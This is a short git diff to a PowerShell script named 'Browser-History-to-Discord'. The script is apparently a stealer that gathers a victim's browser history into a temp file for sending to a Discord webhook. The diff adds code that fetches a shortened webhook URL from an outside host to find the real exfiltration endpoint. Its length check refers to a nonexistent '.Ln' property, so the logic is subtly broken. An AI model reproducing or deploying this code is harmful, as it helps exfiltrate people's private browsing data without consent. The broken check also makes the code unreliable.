diff --git a/Browser-History-to-Discord/main.ps1 b/Browser-History-to-Discord/main.ps1 index b8cbd6a..9282709 100644 --- a/Browser-History-to-Discord/main.ps1 +++ b/Browser-History-to-Discord/main.ps1 @@ -1,6 +1,9 @@  $whuri = "$dc" +# shortened URL Detection +if ($whuri.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $whuri = (irm $whuri).url} + $outpath = "$env:temp\history.txt" "Browser History `n -----------------------------------------------------------------------" | Out-File -FilePath $outpath -Encoding ASCII